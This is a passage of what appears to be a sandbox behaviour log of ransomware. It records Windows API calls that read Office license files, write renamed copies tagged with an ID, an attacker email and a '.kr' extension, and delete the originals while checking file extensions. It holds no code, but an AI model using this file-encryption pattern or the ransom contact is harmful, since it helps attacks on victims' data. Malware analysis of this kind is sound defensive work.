Office\\root\\Licenses16\\ProjectProO365R_SubTest-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0215.485] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subtest-pl.xrm-ms")) returned 1 [0215.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTest-pl.xrm-ms") returned 83 [0215.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTest-pl.xrm-ms") returned 83 [0215.488] lstrlenW (lpString=".doc") returned 4 [0215.488] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0215.488] lstrlenW (lpString=".docx") returned 5 [0215.488] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0215.488] lstrlenW (lpString=".pdf") returned 4 [0215.488] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0215.488] lstrlenW (lpString=".xls") returned 4 [0215.488] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0215.488] lstrlenW (lpString=".xlsx") returned 5 [0215.488] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0215.488] lstrlenW (lpString=".ppt") returned 4 [0215.488] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0215.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTest-pl.xrm-ms") returned 83 [0215.488] lstrlenW (lpString=".zip") returned 4 [0215.488] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0215.488] lstrlenW (lpString=".rar") returned 4 [0215.488] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0215.488] lstrlenW (lpString=".bz2") returned 4 [0215.488] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0215.488] lstrlenW (lpString=".7z") returned 3 [0215.488] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0215.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTest-pl.xrm-ms") returned 83 [0215.489] lstrlenW (lpString=".dbf") returned 4 [0215.489] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0215.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTest-pl.xrm-ms") returned 83 [0215.489] lstrlenW (lpString=".1cd") returned 4 [0215.489] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0215.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTest-pl.xrm-ms") returned 83 [0215.489] lstrlenW (lpString=".jpg") returned 4 [0215.489] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0215.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTest-pl.xrm-ms") returned 83 [0215.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTest-pl.xrm-ms") returned 83 [0215.489] lstrlenW (lpString=".doc") returned 4 [0215.489] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0215.489] lstrlenW (lpString=".docx") returned 5 [0215.489] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0215.489] lstrlenW (lpString=".pdf") returned 4 [0215.489] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0215.489] lstrlenW (lpString=".xls") returned 4 [0215.489] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0215.489] lstrlenW (lpString=".xlsx") returned 5 [0215.489] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0215.489] lstrlenW (lpString=".ppt") returned 4 [0215.489] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0215.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTest-pl.xrm-ms") returned 83 [0215.489] lstrlenW (lpString=".zip") returned 4 [0215.489] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0215.489] lstrlenW (lpString=".rar") returned 4 [0215.489] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0215.489] lstrlenW (lpString=".bz2") returned 4 [0215.489] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0215.489] lstrlenW (lpString=".7z") returned 3 [0215.489] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0215.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTest-pl.xrm-ms") returned 83 [0215.490] lstrlenW (lpString=".dbf") returned 4 [0215.490] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0215.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTest-pl.xrm-ms") returned 83 [0215.490] lstrlenW (lpString=".1cd") returned 4 [0215.490] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0215.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTest-pl.xrm-ms") returned 83 [0215.490] lstrlenW (lpString=".jpg") returned 4 [0215.490] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0215.490] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0215.490] lstrlenW (lpString="ProjectProO365R_SubTest-ppd.xrm-ms") returned 34 [0215.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subtest-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0215.491] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=20917) returned 1 [0215.491] CloseHandle (hObject=0x51c) returned 1 [0215.491] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subtest-ppd.xrm-ms")) returned 0x220 [0215.491] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTest-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subtest-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0215.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subtest-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0215.492] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.492] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTest-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subtest-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0215.492] GetLastError () returned 0x0 [0215.492] ReadFile (in: hFile=0x51c, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x51b5, lpOverlapped=0x0) returned 1 [0215.495] WriteFile (in: hFile=0x574, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x51c0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x51c0, lpOverlapped=0x0) returned 1 [0215.496] ReadFile (in: hFile=0x51c, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0215.496] WriteFile (in: hFile=0x574, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x118, lpOverlapped=0x0) returned 1 [0215.496] SetEndOfFile (hFile=0x574) returned 1 [0215.496] CloseHandle (hObject=0x574) returned 1 [0215.496] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.496] SetEndOfFile (hFile=0x51c) returned 1 [0215.499] CloseHandle (hObject=0x51c) returned 1 [0215.499] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTest-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0215.499] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subtest-ppd.xrm-ms")) returned 1 [0215.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTest-ppd.xrm-ms") returned 84 [0215.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTest-ppd.xrm-ms") returned 84 [0215.500] lstrlenW (lpString=".doc") returned 4 [0215.500] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0215.500] lstrlenW (lpString=".docx") returned 5 [0215.500] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0215.500] lstrlenW (lpString=".pdf") returned 4 [0215.500] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0215.500] lstrlenW (lpString=".xls") returned 4 [0215.501] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0215.501] lstrlenW (lpString=".xlsx") returned 5 [0215.501] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0215.501] lstrlenW (lpString=".ppt") returned 4 [0215.501] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0215.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTest-ppd.xrm-ms") returned 84 [0215.501] lstrlenW (lpString=".zip") returned 4 [0215.501] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0215.501] lstrlenW (lpString=".rar") returned 4 [0215.501] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0215.501] lstrlenW (lpString=".bz2") returned 4 [0215.501] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0215.501] lstrlenW (lpString=".7z") returned 3 [0215.501] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0215.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTest-ppd.xrm-ms") returned 84 [0215.501] lstrlenW (lpString=".dbf") returned 4 [0215.501] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0215.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTest-ppd.xrm-ms") returned 84 [0215.501] lstrlenW (lpString=".1cd") returned 4 [0215.501] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0215.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTest-ppd.xrm-ms") returned 84 [0215.501] lstrlenW (lpString=".jpg") returned 4 [0215.501] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0215.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTest-ppd.xrm-ms") returned 84 [0215.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTest-ppd.xrm-ms") returned 84 [0215.501] lstrlenW (lpString=".doc") returned 4 [0215.501] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0215.501] lstrlenW (lpString=".docx") returned 5 [0215.501] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0215.501] lstrlenW (lpString=".pdf") returned 4 [0215.501] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0215.501] lstrlenW (lpString=".xls") returned 4 [0215.501] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0215.502] lstrlenW (lpString=".xlsx") returned 5 [0215.502] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0215.502] lstrlenW (lpString=".ppt") returned 4 [0215.502] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0215.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTest-ppd.xrm-ms") returned 84 [0215.502] lstrlenW (lpString=".zip") returned 4 [0215.502] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0215.502] lstrlenW (lpString=".rar") returned 4 [0215.502] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0215.502] lstrlenW (lpString=".bz2") returned 4 [0215.502] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0215.502] lstrlenW (lpString=".7z") returned 3 [0215.502] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0215.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTest-ppd.xrm-ms") returned 84 [0215.502] lstrlenW (lpString=".dbf") returned 4 [0215.502] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0215.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTest-ppd.xrm-ms") returned 84 [0215.502] lstrlenW (lpString=".1cd") returned 4 [0215.502] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0215.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTest-ppd.xrm-ms") returned 84 [0215.502] lstrlenW (lpString=".jpg") returned 4 [0215.502] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0215.502] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0215.502] lstrlenW (lpString="ProjectProO365R_SubTest-ul-oob.xrm-ms") returned 37 [0215.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subtest-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0215.760] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=11629) returned 1 [0215.760] CloseHandle (hObject=0x51c) returned 1 [0215.760] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subtest-ul-oob.xrm-ms")) returned 0x220 [0215.760] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTest-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subtest-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0215.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subtest-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0215.945] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.945] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTest-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subtest-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0215.946] GetLastError () returned 0x0 [0215.946] ReadFile (in: hFile=0x518, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x2d6d, lpOverlapped=0x0) returned 1 [0215.948] WriteFile (in: hFile=0x3f8, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0215.949] ReadFile (in: hFile=0x518, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0215.949] WriteFile (in: hFile=0x3f8, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x11e, lpOverlapped=0x0) returned 1 [0215.949] SetEndOfFile (hFile=0x3f8) returned 1 [0215.949] CloseHandle (hObject=0x3f8) returned 1 [0215.949] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.949] SetEndOfFile (hFile=0x518) returned 1 [0215.952] CloseHandle (hObject=0x518) returned 1 [0215.952] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTest-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0215.952] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproo365r_subtest-ul-oob.xrm-ms")) returned 1 [0215.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTest-ul-oob.xrm-ms") returned 87 [0215.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTest-ul-oob.xrm-ms") returned 87 [0215.953] lstrlenW (lpString=".doc") returned 4 [0215.953] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0215.953] lstrlenW (lpString=".docx") returned 5 [0215.953] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0215.953] lstrlenW (lpString=".pdf") returned 4 [0215.953] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0215.953] lstrlenW (lpString=".xls") returned 4 [0215.953] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0215.953] lstrlenW (lpString=".xlsx") returned 5 [0215.953] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0215.953] lstrlenW (lpString=".ppt") returned 4 [0215.953] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0215.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTest-ul-oob.xrm-ms") returned 87 [0215.953] lstrlenW (lpString=".zip") returned 4 [0215.953] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0215.954] lstrlenW (lpString=".rar") returned 4 [0215.954] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0215.954] lstrlenW (lpString=".bz2") returned 4 [0215.954] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0215.954] lstrlenW (lpString=".7z") returned 3 [0215.954] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0215.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTest-ul-oob.xrm-ms") returned 87 [0215.954] lstrlenW (lpString=".dbf") returned 4 [0215.954] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0215.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTest-ul-oob.xrm-ms") returned 87 [0215.954] lstrlenW (lpString=".1cd") returned 4 [0215.954] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0215.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTest-ul-oob.xrm-ms") returned 87 [0215.954] lstrlenW (lpString=".jpg") returned 4 [0215.954] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0215.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTest-ul-oob.xrm-ms") returned 87 [0215.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTest-ul-oob.xrm-ms") returned 87 [0215.954] lstrlenW (lpString=".doc") returned 4 [0215.954] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0215.954] lstrlenW (lpString=".docx") returned 5 [0215.954] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0215.954] lstrlenW (lpString=".pdf") returned 4 [0215.954] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0215.954] lstrlenW (lpString=".xls") returned 4 [0215.954] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0215.954] lstrlenW (lpString=".xlsx") returned 5 [0215.954] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0215.954] lstrlenW (lpString=".ppt") returned 4 [0215.954] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0215.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTest-ul-oob.xrm-ms") returned 87 [0215.954] lstrlenW (lpString=".zip") returned 4 [0215.954] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0215.954] lstrlenW (lpString=".rar") returned 4 [0215.955] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0215.955] lstrlenW (lpString=".bz2") returned 4 [0215.955] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0215.955] lstrlenW (lpString=".7z") returned 3 [0215.955] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0215.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTest-ul-oob.xrm-ms") returned 87 [0215.955] lstrlenW (lpString=".dbf") returned 4 [0215.955] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0215.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTest-ul-oob.xrm-ms") returned 87 [0215.955] lstrlenW (lpString=".1cd") returned 4 [0215.955] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0215.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProO365R_SubTest-ul-oob.xrm-ms") returned 87 [0215.955] lstrlenW (lpString=".jpg") returned 4 [0215.955] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0215.955] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0215.955] lstrlenW (lpString="ProjectProR_Retail2-pl.xrm-ms") returned 29 [0215.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0215.956] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=10651) returned 1 [0215.956] CloseHandle (hObject=0x518) returned 1 [0215.956] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail2-pl.xrm-ms")) returned 0x220 [0215.956] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail2-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0215.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0215.956] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.956] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail2-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0215.957] GetLastError () returned 0x0 [0215.957] ReadFile (in: hFile=0x518, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x299b, lpOverlapped=0x0) returned 1 [0215.959] WriteFile (in: hFile=0x3f8, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x29a0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x29a0, lpOverlapped=0x0) returned 1 [0215.960] ReadFile (in: hFile=0x518, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0215.960] WriteFile (in: hFile=0x3f8, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x10e, 